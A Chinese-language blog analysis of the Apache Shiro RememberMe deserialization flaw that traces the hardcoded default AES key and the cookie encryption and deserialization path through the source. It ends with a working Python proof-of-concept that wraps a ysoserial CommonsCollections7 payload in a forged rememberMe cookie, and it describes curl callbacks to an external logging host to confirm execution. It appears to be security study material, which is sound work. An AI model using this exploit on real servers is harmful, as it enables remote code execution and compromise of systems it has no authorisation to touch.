Apache Shiro RemberMe 反序列化漏洞分析
前言
最近实验室招新,某大佬对萌新出了一道shiroRemberMe
反序列化,正好最近在学习java
安全,接着这个机会来分析一下这个漏洞吧,也因为老谈理论不太好,还是实际分析一个漏洞更加清楚。
<!--more-->
有关Cookie加密流程
这道题是不用登录能够直接打的,虽然这个代码看注释是嫖来的,但实际结构要比vulhub
上的环境更简洁一点(不用登录),因此我们先来看看反序列化的入口在哪?既然名字都叫RemberMe
反序列化了,那么自然是RemberMe
的使用上出现了问题,所以我们看看shiro
是如何处理Cookie
的。
首先是ShiroConfig
类,这里有两个关键信息:
@Bean
public SecurityManager securityManager() {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 设置realm
securityManager.setRealm(authRealm());
// 用户授权/认证信息Cache, 采用EhC//注入记住我管理器
securityManager.setRememberMeManager(rememberMeManager());
return securityManager;
}
....
public CookieRememberMeManager rememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
// rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 256 512 位)
cookieRememberMeManager.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
return cookieRememberMeManager;
}
}
SecurityManager
是个自定义校验器,他通过ShiroFilter
将这个校验器注册到全局,从这里看出自定义校验器中,指定了CookieRememberMeManager
作为RememberMe
的校验器,虽然这里直接将CipherKey
硬编码成kPH+bIxk5D2deZiIxcaaaA==
,但实际这一步是多余的,我们来看看CookieRememberMeManager
public class CookieRememberMeManager extends AbstractRememberMeManager {
private static final transient Logger log = LoggerFactory.getLogger(CookieRememberMeManager.class);
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";
private Cookie cookie;
public CookieRememberMeManager() {
Cookie cookie = new SimpleCookie("rememberMe");
cookie.setHttpOnly(true);
cookie.setMaxAge(31536000);
this.cookie = cookie;
}
//省略许多的方法
}
我们发现这个CookieRememberMeManager
继承自AbstractRememberMeManager
,跟进一下:
public abstract class AbstractRememberMeManager implements RememberMeManager {
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
private CipherService cipherService = new AesCipherService();
private byte[] encryptionCipherKey;
private byte[] decryptionCipherKey;
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
//省略许多方法
}
这里其实设置了默认的密钥,就是硬编码这坨,所以如果需要更改则可以使用set
修改,但如果没变的话这一步实际上是没必要的,接着来看看RememberMe
是如何加密的AbstractRememberMeManager
对应的加密方法:
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
这里的encrypt
实际上是CipherService
类中的encrypt
方法,CipherService
是一个接口,实际上enctypt
方法在JcaCipherService
中实现:
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = isGenerateInitializationVectors(false);
//构造函数会将generateInitializationVectors设置为true,因此最后返回的generate也为true
if (generate) {
ivBytes = generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
"cannot be null or empty.");
}
}
return encrypt(plaintext, key, ivBytes, generate);
}
这里ivBytes
通过generateInitializationVector
生成:
private static final int DEFAULT_KEY_SIZE = 128;
private static final int DEFAULT_STREAMING_BUFFER_SIZE = 512;
private static final int BITS_PER_BYTE = 8;
//设置的默认值
protected JcaCipherService(String algorithmName) {
if (!StringUtils.hasText(algorithmName)) {
throw new IllegalArgumentException("algorithmName argument cannot be null or empty.");
}
this.algorithmName = algorithmName;
this.keySize = DEFAULT_KEY_SIZE;
this.initializationVectorSize = DEFAULT_KEY_SIZE; //default to same size as the key size (a common algorithm practice)
this.streamingBufferSize = DEFAULT_STREAMING_BUFFER_SIZE;
this.generateInitializationVectors = true;
}
//构造函数
protected byte[] generateInitializationVector(boolean streaming) {
int size = getInitializationVectorSize();
//由于构造函数这里是128位
if (size <= 0) {
String msg = "initializationVectorSize property must be greater than zero. This number is " +
"typically set in the " + CipherService.class.getSimpleName() + " subclass constructor. " +
"Also check your configuration to ensure that if you are setting a value, it is positive.";
throw new IllegalStateException(msg);
}
if (size % BITS_PER_BYTE != 0) {
String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array.";
throw new IllegalStateException(msg);
}
int sizeInBytes = size / BITS_PER_BYTE;
//128/8 -> 16 这里得到是16位的大小
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = ensureSecureRandom();
random.nextBytes(ivBytes);
return ivBytes;
}
generateInitializationVector
涉及函数有点多,稍微简化之后,将涉及的列在这里,从而这里得到了ivBytes
为16
的Bytes[]
,最后通过public
的encrypt
调用private
的encrypt
方法:
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
/*
* 梳理一下参数 plaintext为加密的明文,key为默认的硬编码,byte[] iv为16位大小的随机字符,prependIv为true
*/
final int MODE = javax.crypto.Cipher.ENCRYPT_MODE;
// 默认值为1即CBC模式加密
byte[] output;
if (prependIv && iv != null && iv.length > 0) {
byte[] encrypted = crypt(plaintext, key, iv, MODE);
output = new byte[iv.length + encrypted.length];
//now copy the iv bytes + encrypted bytes into one output array:
// iv bytes:
System.arraycopy(iv, 0, output, 0, iv.length);
// + encrypted bytes:
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
} else {
output = crypt(plaintext, key, iv, MODE);
}
if (log.isTraceEnabled()) {
log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " +
"byte array is size " + (output != null ? output.length : 0));
}
return ByteSource.Util.bytes(output);
}
随后就扔给javax.crypto.Cipher
进行加密了,我们会发现最后返回的是一个字节序列,这个字节序列就是加密出来的cookie
了,但rememberMe
最后应该返回一个base64
编码的字符串才对,再回到CookieRememberMeManager
,原因是在rememberSerializedIdentity
方法里面:
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
//这里会将序列化的数据进行base64编码
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}
这里会序列化数据的原因是因为,在使用login
操作的时候,会根据传入的相应内容生成一个token
,用于生成AuthenticationInfo
。
public interface AuthenticationInfo extends Serializable {
PrincipalCollection getPrincipals();
Object getCredentials();
}
AuthenticationInfo
是一个接口,这两个方法分别在
这两个类中实现,可以知道实际上AuthenticationInfo
对应的是用户验证的信息,它指代每一个用户对象,所以自然需要序列化了。
有关入口
来看看login
的路由函数:
如果持续跟进login
方法的话,login
函数的实现上(千万别继续跟了,函数栈太复杂了),使用了一个类
这个类也是个接口,通过注释来看:
Returns the primary principal used application-wide to uniquely identify the owning account/Subject.
这个接口是用来生成唯一的一个用户识别对象的
没跑了,这就是验证的时候所生成的识别特定用户类了,我们看看他的实现方法,既然这个类会被用来生成用户的识别对象,那么可以判断其中肯定有得到用户信息的办法,所以我们来看看getRealmNames
方法的实现:
这里涉及到了两个类,从类名来看下面的Map
应该是类似于将用户对象,以Map
的形式存入,因此我们看看SimplePrincipalCollection
,这里最终找到了readObject
方法,也就是反序列化的入口了。
最后如果在回去看看AbstractRememberMeManager
类的话,会发现里面有对应的处理方法,比如:
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
这里存在将对象转化成字节序列的操作,也就是序列化和反序列化对象的操作,而我们的Principals
对象里面的反序列化方法readObject
使用的默认的defaultReadObject()
基本啥都能读,所以这里只需要传入一个构造好的恶意反序列化对象,Principals
就我帮我们触发反序列化漏洞了,最后就来看看AbstractRememberMeManager.deserialize
方法吧
public Serializer<PrincipalCollection> getSerializer() {
return serializer;
}
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
这里实际上是调用Serializer
对象中的deserialize
方法:
这里有两处实现,XML
估计可能性不大,应该在DefaultSerializer
中,最后我们找到了这个方法:
有关POC
现在我们再来看看POC是怎么写的:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections7', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 网络上使用AES加密基本都是这样写的,后面encode是为了将字符串转化为字节序列
key = "kPH+bIxk5D2deZiIxcaaaA=="
# 硬编码的默认密钥
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
# 生成随机数和java原流程一样,使用随机数填满的16位字符序列
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 生成AES加密器
file_body = pad(popen.stdout.read())
# 获得ysoserial工具得到的序列化字符序列,并进行位数不够的填充操作
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
'''
byte[] encrypted = crypt(plaintext, key, iv, MODE);
output = new byte[iv.length + encrypted.length];
//now copy the iv bytes + encrypted bytes into one output array:
// iv bytes:
System.arraycopy(iv, 0, output, 0, iv.length);
// + encrypted bytes:
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
等同于这几步
'''
return base64_ciphertext
# 返回字符串
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
这里因为运行环境是jdk12
,所以使用CC7
链作为利用链,最后将生成的cookie
添加到请求包中就,即可触发反序列化漏洞了。
当然由于ysoserial
中的执行命令使用的是java.lang.Runtime.exec()
执行命令的,我们知道这个无法执行复杂的命令,因为`><
等符号会导致解析命令错误,所以我们可以使用:
java.lang.Runtime.exec() Payload Workarounds
对复杂命令进行编码,编码成能够执行的样子。由于我这里使用的curl
简单的测试,所以直接curl [Myceye.io]
就直接可以得到回显了:
总结
其实之前学习Java
反序列化的时候会想,为什么ysoserial
里的利用链能够到处打,最后发现实际上是因为所使用的利用链是commons-collections
中的利用链,而这个包很多Java
的web
应用都在使用,因此不得不感叹ysoserial
作者的厉害之处,能够找到适用性如此大的一条链条。
最后就是全文可能会出现一些错误(菜),还希望各位大佬阅读后能够帮助博主斧正。
参考文章:
Shiro rememberMe 反序列化分析
Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell